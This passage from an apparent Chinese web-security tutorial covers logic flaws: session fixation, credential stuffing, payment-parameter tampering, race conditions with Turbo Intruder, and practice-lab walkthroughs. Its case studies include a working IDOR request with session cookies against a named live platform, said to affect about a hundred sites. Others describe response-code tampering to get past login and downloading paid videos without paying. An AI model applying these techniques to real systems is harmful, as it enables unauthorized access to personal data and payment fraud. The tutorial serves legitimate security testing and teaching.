在浏览器 A、浏览器 B 同时使用同一账号登录,如果两个会话都持续有效,就说明存在多点认证缺陷。(可以水洞)

4.6.2 常见风险点

1. 同一账号可在多个终端同时在线
2. 新登录不会挤掉旧登录
3. 修改密码后旧会话仍有效
4. 退出登录只退出前端,不销毁服务端会话

4.6.3 常见测试思路

1. A 设备登录
2. B 设备再次登录
3. 观察 A 设备是否仍可继续使用
4. 修改密码后测试旧 Token / 旧 Cookie 是否仍有效
5. 退出登录后重放旧请求

对于核心业务系统,常见的安全建议是:新会话建立后及时淘汰旧会话,并在异地登录或新设备登录时向用户发出提醒。

4.7 账号劫持

4.7.1 什么是账号劫持

账号劫持是指攻击者在不掌握明文密码的情况下,通过窃取、固定或复用登录态,冒充受害者继续使用其账号。

在登录相关问题里,这通常与 Session 固定、Cookie 泄露、Token 长期不失效、XSS 窃取会话标识等场景有关。

未设置 HttpOnly 的 Cookie 更容易因 XSS 被窃取,进而导致会话冒用。

4.7.2 常见方式

1. 会话固定
2. Cookie 泄露
3. XSS 窃取 Token / SessionID
4. 不安全的多端同步
5. 利用弱找回流程重置密码后接管账户
  • 什么是会话固定(Session Fixation)?*
攻击者先让受害者使用一个已知的 Session 标识,等受害者登录后,再利用同一个 Session 标识冒充受害者。

它和“窃取别人登录后的 Session”不太一样。

窃取是“先登录,再偷走”;会话固定是“先准备好一个 Session,再等别人登录进去”。

简单理解

正常情况下,用户登录前和登录后,系统最好重新生成一个新的 Session ID。

如果系统没有这么做,而是继续沿用登录前的 Session ID,就可能出现会话固定问题。

也就是说:

攻击者先拿到一个 SessionID
   ↓
想办法让受害者带着这个 SessionID 访问系统
   ↓
受害者用这个 SessionID 正常登录
   ↓
系统登录后没有重新生成新的 SessionID
   ↓
攻击者再用同一个 SessionID 访问系统
   ↓
成功获得受害者登录态
  • 举个例子*

假设某网站访问时会先分配一个 Cookie:

Set-Cookie: PHPSESSID=abc123

攻击者提前知道这个 PHPSESSID=abc123,然后通过某种方式让受害者也带着这个值访问网站。

如果受害者登录后,服务器没有重新生成新的 Session,而是继续使用 abc123,那攻击者之后只要带着同样的 Cookie:

Cookie: PHPSESSID=abc123

就可能直接以受害者身份访问系统。

  • 它和 Session 劫持的区别*

可以这样区分:

  • Session 劫持:攻击者拿到的是“别人已经登录后的 Session”
  • Session 固定:攻击者拿到的是“登录前就预先固定好的 Session”

所以会话固定更像是:

攻击者提前把钥匙配好,再等受害者把门打开。
  • 常见成因*

会话固定通常出现在这些情况:

  • 登录前后 Session ID 不变
  • 系统允许客户端自己指定 Session ID
  • URL 里传 Session,且服务端直接接受
  • Cookie 中 Session 可预测或可复用
  • 登录成功后没有调用重新生成 Session 的机制
  • 怎么判断*

测试时一般看这几点:

1. 未登录访问系统,先拿到一个 SessionID
2. 带着这个 SessionID 去登录
3. 登录成功后观察 SessionID 是否变化
4. 如果登录前后 SessionID 不变,就要怀疑存在会话固定风险

4.7.3 常见测试思路

1. 观察登录前后 Session 是否变化
2. 测试固定 Session 是否可复用
3. 观察 Token 是否长期不变
4. 测试退出登录后 Token 是否真正销毁
5. 检查 Cookie 是否设置 HttpOnly、Secure 等属性

4.8 撞库

4.8.1 什么是撞库

撞库是指攻击者拿到一批已经泄露的账号密码后,去目标系统中批量尝试登录。

它和普通暴力破解不太一样。暴力破解更多是自己去猜密码,而撞库用的是别人已经泄露出来的现成凭据。

所以,撞库能不能打进去,很多时候不取决于密码猜得准不准,而取决于目标系统有没有做足登录防护。

比如没有验证码、没有限速、没有锁定机制,或者账号长期允许多地、多端同时在线,这些都会让撞库更容易成功。

4.8.2 为什么撞库容易成功

撞库之所以常见,最主要的原因还是用户存在密码复用的习惯。

很多人会在不同平台上使用同一个密码,或者只做一点简单变化。

比如邮箱、论坛、社交平台、办公系统,表面上是不同账号体系,但实际用的可能是差不多的一套密码。

这样一来,只要其中某个平台发生了数据泄露,攻击者就可以拿这些账号密码去别的平台继续尝试。对于没有做好登录保护的系统来说,这种攻击的成功率往往并不低。

4.8.3 常见测试思路

1. 先收集有效用户名或账号标识
2. 使用历史泄露凭据或常见组合进行测试
3. 根据响应内容区分成功和失败结果
4. 结合无验证码、弱风控、无锁定机制评估风险

4.9 登录相关漏洞排查小结

登录相关漏洞虽然表现形式很多,但从测试思路上看,核心问题基本可以归纳为以下几类:

1. 认证本身是否可被绕过
2. 密码与验证码机制是否足够可靠
3. 爆破、撞库、枚举是否有防护
4. 会话签发与会话销毁是否严格
5. 风控是否只依赖客户端可控数据

实际测试时,可以把登录框排查思路概括成三句话:

这个系统能不能被猜进去?
这个系统能不能被绕进去?
这个系统登进去之后,登录态能不能被伪造、复用或接管?

4.10 实验

好靶场

登录专题:

http://www.loveli.com.cn/findbug?keyword=%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E

  • 初级暴力破解

短密码直接爆破

image-20260426095800854

image-20260426100054381

  • 万能密码

简单sql注入

image-20260426100438662

image-20260426100622136

  • 你能登录这个系统吗-用户名爆破

直接爆破就行了

image-20260426101349108

image-20260426101821440

  • 咦,教务系统,怎么办,我登录不进去

image-20260426101952679

admin爆破密码

image-20260426102403945

image-20260426102506063

image-20260426102607292

验证码专题:

http://www.loveli.com.cn/findbug?keyword=%E7%9F%AD%E4%BF%A1%E9%AA%8C%E8%AF%81%E7%A0%81

  • 验证码-你没有用随机种子吗
  • 验证码-偷梁换柱

5. 业务支付漏洞

5.1 支付漏洞简介

支付类漏洞是业务逻辑漏洞中风险较高、也较常见的一类。

这类漏洞通常是订单、金额、数量、优惠、支付状态、支付方式等关键业务字段,没有在服务端被严格校验

一旦系统过度信任前端提交的数据,就可能出现少付多买、零元购、订单错配、重复享受优惠,甚至直接绕过支付流程的情况。

先来看一个标准的支付流程

在这里插入图片描述

可以把这张图背后的业务流程这样理解:

用户提交订单
   ↓
商户系统生成本地订单(待支付)
   ↓
商户系统计算最终应付金额
   ↓
商户系统构造支付请求并签名
   ↓
请求发送到支付宝
   ↓
支付宝创建交易
   ↓
用户完成付款
   ↓
支付宝返回结果 / 异步通知商户
   ↓
商户系统验签、验金额、验订单号
   ↓
商户系统更新订单状态
   ↓
执行发货、开通、出票等后续业务

这个流程里,真正安全的关键点有三个:

  1. 订单金额必须以商户服务端计算为准
  2. 支付成功必须以第三方可信回调为准
  3. 订单号、金额、支付状态必须一一对应校验

如果从代码设计的角度说,支付逻辑通常会拆成下面几块:

  • 1.下单模块*

负责生成本地订单,保存商品、金额、数量、优惠信息。

  • 2.支付请求模块*

负责组装请求参数、签名、调用支付宝接口。

  • 3. 回调处理模块*

负责接收支付宝通知,验签、验金额、验订单、改状态。

  • 4. 订单状态模块*

负责维护“待支付、支付中、已支付、已关闭、已退款”等状态流转。

  • 5. 业务发放模块*

负责支付成功后的具体业务动作,例如发货、开会员、充值到账等。

  • 总结*:
支付流程的核心可以概括为:商户发起订单,第三方处理支付,商户接收结果并更新本地状态。

因此,从业务流程上看,支付漏洞往往出现在以下几个阶段:

  • 生成订单
  • 确认订单
  • 选择优惠
  • 发起支付
  • 支付回调
  • 订单状态更新

支付类问题通常与价格、数量、支付状态、附属费用、订单号、商品编号、优惠券、积分、支付接口类型等参数有关。只要这些值可以被客户端影响,而服务端又没有重新计算和校验,就容易形成漏洞。

image-20260424131135695

5.1.1 支付漏洞的常见成因

支付漏洞常见的成因,通常可以归纳为以下几类:

  • 1. 前端验证不充分*

前端页面上虽然对价格、数量、优惠方式、支付类型等做了限制,但这些限制只存在于页面层。

攻击者一旦绕开页面,直接抓包修改请求内容,相关控制就可能失效。

  • 2. 客户端数据不可信*

客户端在发起支付时,提交了订单金额、商品数量、订单编号、支付方式、优惠金额等关键字段。

如果服务端直接使用这些值,而不是依据服务端订单数据重新计算,就会产生风险。

  • 3. 服务端校验不严格*

这是支付漏洞最常见的原因。服务端只校验“请求有没有发过来”,却没有校验“金额是否正确、订单是否匹配、状态是否真实、优惠是否可用、数量是否合理”。

  • 4. 订单与支付结果绑定不严*

有些系统只判断“是否收到支付成功结果”,却没有继续核对“是哪一个订单支付成功”“支付金额是否与订单金额一致”,从而导致订单替换、状态错配等问题。

  • 5. 状态控制和并发控制不足*

如果订单状态更新不及时、回调处理不严谨、优惠资格没有锁定,或者没有做好重复提交控制,就可能出现并发下的重复下单、重复优惠、重复退款等问题。

5.1.3 支付漏洞的排查思路

在测试支付功能时,不要只盯着“付款页面能不能成功”,而是要围绕整个订单链路去看:

1. 订单金额是谁决定的
2. 商品数量是谁决定的
3. 优惠金额、积分、运费是否由服务端重新计算
4. 支付状态是否由服务端可信来源更新
5. 支付结果是否与当前订单、当前金额一一对应
6. 同一个优惠、同一个订单、同一个退款请求是否允许重复使用

从实际经验看,支付测试通常要重点关注以下参数:

  • 商品价格
  • 商品数量
  • 商品编号
  • 订单编号
  • 支付金额
  • 优惠金额
  • 积分抵扣
  • 运费
  • 支付方式
  • 支付状态
  • 活动标识
  • 优惠券编号

只要这些字段由客户端带入,就应该重点怀疑:服务端是否真的重新做了校验和计算。

5.2 常见支付漏洞

5.2.1 修改支付金额

支付金额是最常见、也最容易首先被关注的测试点。

因为在很多业务中,价格并不是只在一个地方出现,而是会贯穿“订购—确认订单—发起支付”多个环节。

如果系统在某个环节没有重新校验金额,就可能出现实际支付金额与真实订单金额不一致的情况。

在实际漏洞挖掘中,一般最先尝试的就是更改数据包发包内容,可以直接修改支付金额、更改支付状态、更改支付类型、更改提交订单支付的时候其中的订单信息等等。

这类问题通常表现为:

  • 订单页面显示的价格与提交时的价格不一致
  • 支付请求中的金额字段可被篡改
  • 优惠后金额未重新计算
  • 最终支付金额没有与服务端订单金额做一致性校验
只要价格是由客户端提交的,就不能默认它可信。

如果网站在某一环节存在逻辑上的漏洞,就可以利用该漏洞对支付价格进行修改。可以直接修改提交订单中的价格字段,一般可尝试0.01,1.00,1等。

image-20260424133846205

5.2.2 修改支付状态

有些系统会在订单流程中带有支付状态字段,例如“未支付”“已支付”“处理中”等。

如果后端只是根据请求中的状态值来判断订单是否完成,而没有根据可信支付结果或服务端状态机去更新订单,就可能出现状态被伪造的问题。

这类问题常见于:

  • 订单状态字段可直接被修改
  • 支付完成与否仅依赖客户端提交值
  • 已支付订单与未支付订单之间可以发生错配
  • 回调后只改状态,不校验订单和金额

1、直接修改为已支付状态

2、修改未支付的订单号为已支付订单号

5.2.3 修改支付方式或支付类型

通常在提交订单付款时,这里的type一般是对支付方式的判断,可能会存在开发人员测试的时候遗留的无需支付的type值。

根据支付方式判断支付与否。可以通过fuzz特定值去实现绕过。

比如比较常见的值0(这里需要结合实际进行测试不同的处理方式type值不同),可以实现不需要付款订单就会自动生成。

image-20260424133828391

5.2.4 订单信息错配

支付类问题中,订单号和商品编号也是很重要的测试点。

如果服务端只检查“某次支付成功了”,却没有进一步确认“支付的是不是当前这个订单”“支付金额是否与当前订单一致”,就可能出现订单信息错配。

订单编号替换、商品编号替换、已支付订单与未支付订单错配,是支付漏洞中的典型思路。

常见问题包括:

  • 商品编号可替换,导致低价商品与高价商品错配
  • 订单号可替换,导致小额支付映射到高价订单
  • 服务端只校验支付成功,不校验订单金额是否一致
  • 支付回调与订单绑定关系不严

问题本质:

系统确认了“有人付过钱”,但没有确认“钱到底是为哪一个订单付的”。
  • 1.修改商品编号*

直接在生成的订单中替换商品编号。

image-20260424134149364

  • 2.修改订单号*

将金额不同的订单进行替换,可以支付一个金额较少的订单,然后将订单号修改为金额较大的订单,少付实际金额。

替换已生成的低价商品订单号为高价商品订单号

image-20260424134239563

  • 3.越权使用他人优惠券、越权使用他人积分等*

5.2.5 数量相关漏洞

订单金额通常由“单价 × 数量”得出,因此数量字段也是支付测试中的重点。

如果服务端没有对数量做合理限制,就可能因为数量异常而影响总价计算。

需要重点关注的情况包括:

  • 数量不是整数
  • 数量过小
  • 数量为负数
  • 数量边界校验不严
  • 同一商品参数可以被重复附加,导致少付多买

如果系统只做页面限制,而不在服务端重新校验数量是否合法,就容易出现总价计算异常、商品数量异常或订单内容异常。

支付金额是由购买数量乘以商品单价决定的,这时我们在数据包中修改购买数量,将其修改为负数或者小数,如果站点后台对此没有进行过滤,就有可能存在支付漏洞。

  • 1.将正常的数量值修改至最小值0.01,可以实现低价购买。*

比如:原价300修改修量为0.01后实付金额变为3。

image.png

  • 2.未对负数做检验的还可以将数量改为负数。*

这里需要注意,因为后端大部分会校验不允许实付金额小于0或者0.01等,所以有的时候要想实现订单成功生成需要结合实际修改价格

生成订单时有参数表示商品数量,修改为-1

image.png

修改数量为-1后会发现,此时金额为负数。

image.png

在提交订单支付的时候,为保证支付成功需要修改金额。

image.png

  • 3.对数量没有做负数校验的时候也可以巧用负数抵消实现0元购*

在计算价格时,没有对负数进行验证,通过修改某个商品数量为-1实现与1的抵消实现0元购。

同时购买两件商品,修改两件商品其中价格低的商品的金额为负数,实现价格的抵消,低价购买商品。

image.png

  • 4.手动增加订单中商品相关的多个参数以达到少付多买的目的*

有的时候在提交订单时抓取数据包可以看到只有一套商品的信息,尝试多添加几套同样的参数订单是否会有变化。

这里是购买商品的相关参数

image.png

尝试在提交订单的时候多添加几个此类参数

image.png

提交订单实际支付金额未变仍是一个商品的价格,但是实际套餐已经变成了四个。

image.png

5.2.6 优惠券、积分、运费等附属值问题

很多支付问题并不直接出在商品价格本身,而是出在优惠券、积分、运费、折扣、补贴等“附属值”上。

常见风险包括:

  • 1. 修改优惠券金额*

有些系统会在确认订单或提交支付时,把优惠金额一并提交给后端。

如果后端没有重新计算,就可能通过修改优惠金额实现少付,甚至直接把订单金额抵扣到 0。

  • 2. 订单金额已经被错误写入*

有些情况下,修改优惠金额后,页面会提示支付失败或金额异常,但系统其实已经提前生成了订单。

如果此时进入订单详情页,可能会发现订单金额已经变成了 0 元或很低的金额,后续继续支付时就可能成功。

  • 3. 替换优惠券标识*

如果请求里提交了优惠券 ID、优惠券编号之类的参数,而后端只判断“这张券是否存在”,没有判断“这张券是否属于当前用户、是否适用于当前商品”,就可能通过替换标识使用别人的优惠券,或者使用不该使用的大额优惠券。

  • 4. 优惠券叠加使用*

有些系统前端虽然只允许选择一张优惠券,但后端没有严格限制,导致攻击者可以手工增加参数,在一个订单里叠加使用多张优惠券。

  • 5. 优惠券重复使用或并发使用*

如果系统没有及时更新优惠券状态,或者没有做好并发控制,就可能出现同一张优惠券被重复使用、多次核销的情况。

  • 6. 重复领取优惠券*

有些系统在领取优惠券时,对领取次数、有效期、用户身份等校验不严,导致可以通过修改参数重复领取,甚至领取隐藏券、测试券或已过期优惠券。

  • 7. 修改积分抵扣金额*

积分抵扣本质上也是一种优惠方式。如果后端没有根据当前用户真实积分重新计算,而是直接使用前端提交的抵扣值,就可能通过修改积分金额实现少付或 0 元支付。

这类问题的核心其实很简单:

凡是会影响最终结算金额的值,都不能只相信前端提交的数据。

测试时可以重点看这几个问题:

1. 优惠金额能不能直接改
2. 优惠券是否和当前用户绑定
3. 一张订单能不能用多张券
4. 同一张券能不能重复使用
5. 积分抵扣是否由后端重新计算

5.2.7 重复支付、并发与限购绕过

支付类业务通常会涉及活动价、新人价、首单优惠、限购次数、试用次数、退款次数等限制。

如果系统没有做好并发控制、状态更新和资格锁定,就可能出现重复使用优惠、重复下单、重复退款等问题。

在支付系统中,服务端没有做好相关验证,比如订单状态被错误更新或者未更新,未对订单多重提交进行校验。

那么就可以并发订单实现优惠订单多次提交。

需要注意的是这里有的时候会根据实际支付订单判断,并发了多个订单也可能只有一个优惠订单可以正常支付。

并发订单,多台设备同时提交优惠订单。

常见于限购,一个账号仅许购买一次等

  • 1.限制一个优惠订单时直接并发生成多个优惠订单*

image.png

  • 2.使用多台设备、多个浏览器、多种支付方式(wx、支付宝等)购买优惠订单*

常见于购买会员,会员第一个月往往会有优惠价。

生成一个优惠订单后不支付,打开多个设备或者虚拟器设备,同时提交生成优惠订单,再分别支付,有的时候会发现会员截至日期顺延,突破限制以优惠价格购买会员。

  • 3.退款处并发*

退款的时候可以发起同一订单多次退款,达到多退款的目的。

  • 补充:什么是并发漏洞?*

并发漏洞,指的是系统在同一时间处理多个针对同一业务对象的请求时,没有正确处理这些请求之间的竞争关系,导致攻击者能够突破原本的业务限制。

它的原理一般不复杂,很多后端处理逻辑通常都是这样:

先查询当前状态
   ↓
判断是否满足条件
   ↓
执行操作
   ↓
更新状态

如果只有一个请求,这个流程通常没有问题。
但如果多个请求几乎同时到达,系统又没有做好加锁、幂等、原子更新等控制,就可能出现多个请求都通过判断,最后把本来只能执行一次的操作执行了多次。

例如:

  • 一张优惠券被重复领取
  • 一个首单优惠被重复使用
  • 一笔订单被重复退款
  • 一个限购商品被并发下单多次
  • 突破短信验证码一分钟5次限制

所以并发漏洞的核心可以概括为一句话:

多个请求同时利用了“状态还没来得及更新”的时间差。
  • Turbo Intruder 插件*

在 Burp Suite 里,做并发测试时经常会用到 Turbo Intruder 这个扩展插件。

它本质上是一个适合高并发、批量请求和竞态测试的 Burp 插件,常用来验证业务接口是否存在并发问题。

而BurpSuite–》intruder模块–Null payloads其实是重复同样的原始请求,没有进行修改多次访问同一个资源,无论我们将线程数调到多高都不是并发。

intruder模块默认逻辑更接近:

请求1 发出
请求2 发出
请求3 发出
请求4 发出
……

看起来很快,但本质上很多时候仍然是高频连续发送,而不是严格意义上的:

请求1、请求2、请求3、请求4
在几乎同一瞬间一起到达后端

而并发漏洞、竞态漏洞最关键的,就是要尽量制造这种“同时到达”的效果。

安装使用教程:

https://blog.csdn.net/tc1362/article/details/147253234?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ECtr-2-147253234-blog-136391023.235%5Ev43%5Epc_blog_bottom_relevance_base2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromBaidu%7ECtr-2-147253234-blog-136391023.235%5Ev43%5Epc_blog_bottom_relevance_base2&utm_relevant_index=4

和 Burp 自带的 Intruder 相比,Turbo Intruder 更适合做这类场景:

  • 同一个请求瞬间发送多次
  • 多个请求尽量同时打到后端
  • 测试竞态条件和时间窗口
  • 批量构造并发请求

在逻辑漏洞测试里,它比较常见的用途有:

  • 并发领取优惠券
  • 并发下单
  • 并发支付或退款
  • 并发修改状态
  • 并发提交验证码或活动资格请求

使用方法:

  • 在请求包任意位置添加“%s”,再选择并发测试脚本race.py,最后点击Attack进行并发攻击*
“%s”字符的目的是标记请求包中需要进行Fuzz的部分,由于工具执行流程,原始请求包里必须有"%s"字段,但并发测试不需要对原始请求包进行处理,所以我们在请求包中任意位置添加“%s”即可)

在这里插入图片描述

等待并发结果

race.py脚本通过 RequestEngine 配置了 30 个并发连接,使用 gate 机制将 30 个请求同时发送,实现了30次高并发攻击。

5.2.8 隐藏商品、隐藏优惠与下架资源遍历

在一些业务中,商品、活动链接、优惠券、支付入口未必都会展示在页面上。

但如果其编号仍然可预测、可枚举,或者下架后只是前端隐藏而没有在后端失效,就可能被重新访问或继续使用。

这一类问题常见于:

  • 隐藏商品仍可下单
  • 下架商品链接仍可访问
  • 测试商品、测试优惠仍可被调用
  • 已过期优惠券仍可被继续使用

它反映的其实还是一个老问题:

前端“看不见”,不等于后端“不能用”。

漏洞常见位置:会员处、商品处(隐藏商品,已下架商品,开发测试低价商品等)

  • 1.遍历隐藏优惠券*

一般会有一些开发时测试的大额优惠券,或者已经过期下架的优惠券,通过遍历可以被使用。

  • 2.遍历商品id从而fuzz到已下架的商品*

image.png

5.2.9 精度、舍入与边界问题

支付金额通常会涉及分、角、元之间的换算,也会涉及四舍五入、最小支付单位、精度截断等处理。

如果系统在不同环节对金额的处理规则不一致,就可能出现边界金额被错误计算的问题。

例如:0.019=0.02(比如充值0.019元,第三方支付截取到分也就是0.01元,但是系统四舍五入为0.02)。

5.2.10 支付金额溢出

有些系统在处理充值、支付或余额变动时,会把金额存进整型变量里参与计算。

如果金额字段的类型设计不合理,或者后端没有做好边界校验,就可能出现整数溢出问题。

比较典型的一种情况是:系统使用了 32 位 int 来保存金额。

32 位有符号整数的最大值是:

2147483647

如果用户提交的充值金额超过这个值,后端在处理时就可能发生溢出。

溢出之后,常见表现一般有两种:

  • 金额变成负数
  • 金额从 0 重新开始计算

这时就可能出现一种异常情况:

用户提交的是一个非常大的充值金额,系统前端或订单页面显示的也是这个超大金额,但后端在实际计算支付金额时,由于发生了整数溢出,最终只按很小的金额处理,例如 0 元、1 元,或者其他异常值。

比如:

充值金额:2147483648

这个值比 32 位 int 最大值多 1。
如果系统处理不当,就可能在后端变成:

-2147483648

或者被错误截断后重新计数,出现“实际只需支付 1 元,但账户却按超大金额入账”的情况。

测试时可以重点关注:

1. 金额字段是否允许输入超大整数
2. 超过 32 位整型范围后,订单金额是否出现异常
3. 显示金额和实际支付金额是否一致
4. 实际到账金额和实际支付金额是否一致
5. 金额在不同环节中是否使用了不同的数据类型

总结:

如果系统在展示层、订单层、支付层、到账层对金额的处理类型不一致,就可能出现“显示的是超大金额,实际支付的却是极小金额”的异常情况,最终形成严重的支付逻辑漏洞。

5.2.11 支付漏洞总结

支付漏洞测试时,重点围绕:

1. 最终支付金额是否由服务端重新计算
2. 商品、订单、支付结果是否一一绑定
3. 优惠券、积分、运费、折扣是否由服务端重新校验
4. 订单状态是否只能由可信支付结果更新
5. 同一资格、同一优惠、同一订单是否可以被重复使用
6. 隐藏资源、下架资源、测试资源是否真的失效
7. 金额精度、边界值、数量边界是否处理一致

5.2.12 支付漏洞挖掘技巧

  • 1.找到关键的数据包*

可能一个支付操作有三四个数据包,我们要对数据包进行挑选。

  • 2.分析数据包*

支付数据包中会包含很多的敏感信息(账号,金额,余额,优惠),要尝试对数据包中的各个参数进行分析。

  • 3.不按套路出牌*

多去想想开发者没有想到的地方。

  • 4.pc端尝试过,wap端也看看,app也试试*

5.3 实验

完成好靶场以下实验:

  • 支付漏洞*

http://www.loveli.com.cn/findbug?keyword=%E6%94%AF%E4%BB%98%E6%BC%8F%E6%B4%9E

  • 负数充值案例靶场

抓包可以把数值改成负数

image-20260426145338509

image-20260426145813756

  • 四舍五入充值靶场

image-20260426150609998

  • 负数购买案列

金额改成负数就行

image-20260426150751387

image-20260426150912498

  • 商城修改金额支付漏洞

直接抓包把价格改成0就行了

image-20260426151518225

  • 充值进一舍入漏洞

超过支持的长度,数值自动进1

image-20260426151721566

  • 请一口气买101个汉堡

买十张券,退款一次只扣一张

image-20260426152301845

image-20260426152501965

也可以做一下bp官方的支付靶场

https://portswigger.net/web-security/all-labs#business-logic-vulnerabilities

  • Excessive trust in client-side controls
  • High-level logic vulnerability
  • Flawed enforcement of business rules
  • Low-level logic flaw

参考wp:https://www.cnblogs.com/yaoguyuan/p/18314937

6. 逻辑漏洞利用总结

逻辑漏洞的核心攻击面,通常集中在以下业务环节:

1. 注册流程
2. 密码相关流程
3. 密码找回流程
4. 对象访问控制
5. 角色权限控制
6. 登录态与会话控制

其常见攻击链可以概括为:

信息收集
   ↓
梳理业务流程
   ↓
确定身份边界 / 权限边界 / 对象边界
   ↓
抓包分析关键参数
   ↓
尝试以下动作:
   ├── 改对象(id / uid / username)
   ├── 改身份(cookie / token / role)
   ├── 改步骤(跳过前置流程)
   ├── 改绑定(验证码 / token / session 与对象解绑)
   ├── 重放请求
   └── 并发、批量、爆破
   ↓
观察是否完成本不应允许的操作

在逻辑漏洞测试中,都是持续围绕以下三个问题展开分析:

1. 这个操作本来应该允许谁做?
2. 后端到底是根据什么判断“你是谁”?
3. 后端到底是根据什么判断“你能不能操作这个对象”?

7.相关实战案例

7.1 越权

7.1.1 某东会展云平台越权漏洞1

漏洞url : https://szxlh-login.1huizhan.com/api/account-api/v1/accountCenter/user/admin ,admin处可以替换为任意的用户名,均可以返回对应用户的信息,添加?showPrivateInfo=true参数会完整显示敏感数据。

所有使用相关建站模板的会展云平台均有相关漏洞。

下面用https://szxlh-login.1huizhan.com/复现:

首先注册个账号,然后登录

img

访问https://szxlh-login.1huizhan.com/api/account-api/v1/accountCenter/user/admin?showPrivateInfo=true 路径

请求头需要添加x-header-jwt: at, 否则会401

完整请求包如下:

GET /api/account-api/v1/accountCenter/user/admin?showPrivateInfo=true HTTP/1.1
Host: szxlh-login.1huizhan.com
Connection: close
sec-ch-ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"
x-csrf-token: alHP3LPzoa2drqyyN-WVc0Ik
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
tenant-name: szxlh
Accept: application/json, text/plain, */*
x-header-jwt: at
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://szxlh-login.1huizhan.com/account/web/info
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: remoteIpAddress=1.202.122.135; nanan_color=#CC1042; nanan_site_lang=zh-CN; __jdv=123647252|direct|-|none|-|1708507236976; nc_color=#2B1AE3; nc_site_lang=zh-CN; hd_color=#2B1AE3; hd_site_lang=zh-CN; nc_tenantId=nc; tenantPrefix=1; nc_tenantPrefix=1; tenantDomain=.1huizhan.com; nc_tenantDomain=.1huizhan.com; nc_tenantDomainName=nc.1huizhan.com; _color=undefined; _site_lang=zh-CN; nanan_tenantId=nanan; nanan_tenantPrefix=1; nanan_tenantDomain=.1huizhan.com; nanan_tenantDomainName=nanan.1huizhan.com; kenli_color=#086ECF; kenli_site_lang=zh-CN; kenli_tenantId=kenli; kenli_tenantPrefix=1; kenli_tenantDomain=.1huizhan.com; kenli_tenantDomainName=kenli.1huizhan.com; tutechanwang_tenantId=tutechanwang; tutechanwang_tenantPrefix=1; tutechanwang_tenantDomain=.1huizhan.com; tutechanwang_tenantDomainName=tutechanwang.1huizhan.com; tutechanwang_site_lang=zh-CN; jfe_pin=00f5566e; jfe_ts=1708507868.789; jfe_sn=PW07OiURxtDSZ1CEyCUdjXsohVA=; csrfToken=alHP3LPzoa2drqyyN-WVc0Ik; tenant_type=saas; szxlh_tenantId=szxlh; szxlh_tenantPrefix=1; szxlh_tenantDomain=.1huizhan.com; szxlh_tenantDomainName=szxlh.1huizhan.com; szxlh_color=#2B1AE3; szxlh_site_lang=zh-CN; qdhmpet_color=#404044; qdhmpet_site_lang=zh-CN; 3AB9D23F7A4B3C9B=6ZQAIQ4XGDFXTGUUAFSWYIMI3WAGLKSY7Q7HBJEQTEKSZWMD5WTQQCWPT3F76SAQ4TZ4JB5XX3HD3QFZFH4MVSDVJQ; szxlh_at=udp99CuCvgBSJaWr; szxlh_rt=63KXl926nkMwCva3kjlw8EyVPgxeSV7l; szxlh_user_name=testsrc; szxlh_account_name=undefined; szxlh_at_ex=undefined; szxlh_rt_ex=undefined; nc_at=x68iaC5p3LI1fCOV; nc_rt=EmvWIS15Tq6u6HtZSWfZf2qT5StH5KtV; nc_user_name=testsrc; nc_account_name=undefined; nc_at_ex=undefined; nc_rt_ex=undefined; tenantId=szxlh; tenantDomainName=szxlh.1huizhan.com; currPortalMenu=; __jda=162199422.1708507236975627051905.1708507237.1708507237.1708507237.1; __jdc=162199422; __jdb=162199422.58.1708507236975627051905|1.1708507237

越权访问管理员用户敏感信息:

img

有手机号、姓名、企业相关信息等

img

越权访问普通账号敏感信息(个人测试账户2):

img

相同建站模板下的网站均受影响,fofa可以找到近百个类似资产

img

7.1.2 接口改响应包导致未授权访问

在挖掘一些业务的时候,很多系统都会放在一个统一认证中去访问,你只有登录统一认证才能去访问某个系统,那么当我们在挖掘的时候,遇见这样的环境怎么办呢?

当然是最简单的修改返回包查看是否可以未授权查看内容,当然很多时候都是白给,但是我们还是要尝试一下撒。

当我们扫描出xxxx.com存在一个子域名,我们去访问站点http://stde.xxxx.com发现他要跳转到一个统一认证的页面,此时我们进行抓包对每一个数据包进行分析:

img

每一次放包都会自动跳转,但是发现该数据包时,我将箭头所指的{}删掉,发现就可以进入系统卡死在功能点页面,因为页面只有功能点没有数据,我就继续点击功能点

点击任意功能点继续抓包:出现如图的数据包的时候将401,提示我们需要先登录才能进行访问

img

常规操作,将401改为200,发现居然成功访问数据:

img

img

可以发现整个站点功能点都可以用这个方法查看数据:

img

7.1.3 不安全对象调用(IDOR)案例

分享一个不安全资源调用,什么叫不安全资源调用,可以通俗的理解成未授权访问,但又不完完全全的叫,到底是什么呢请看我秀往后退我要开始装逼了

和往常一样对 SRC 平台”交流学习”时发现居然有视频居然要钱,可我一分钱不想花,于是我就开始了我的操作

img

img

img

img

由于要购买才能开始学习,先是找了一个免费视频

img

img

然后就是使用万能的 F12,在控制台中发现居然会返回一个 mp4

img

于是我就按照相同的方法去付费视频进行了相同的操作,可惜啥也没有(可能只对免费视频有效),但是我忽然发现视频可能是通过 id 这个参数进行调用的

img

img

img

于是在我一段 FUZZ(就是乱猜)之下居然直接将跳到了一个需要付费的播放位置,于是我安装了 Flash 可惜依然看不了可能是因为还是得付钱

于是我抓取了返回包,在十几个返回包中找到了关键的返回包中携带了 mp4

img

于是我将链接复制到了页面上,但还是播放不了,这个时候师傅们可能就会放弃

img

但是我想到了迅雷的(特性)不是可以通过链接直接下载吗,于是我将链接放到了迅雷上并下载解码

img

成功通过工具的特性成功将视频下载下来并白嫖

img

7.2 支付

7.2.1 yodo建站系统设计不当可刷钱

DOYO通用建站系统采用PHP与MYSQL开发,是免费开源的CMS建站、企业建站系统,可广泛用于个人、企业、政府、机构等众多网站建设 官网地址:wdoyo.com 官方提供demo但数据不可以入库:http://demo.wdoyo.com/ 所以只能本地演示了 本地搭建以后注册个会员,点击在线充值查看一下当前的余额(我这里之前刷的成了29.8)

1.png

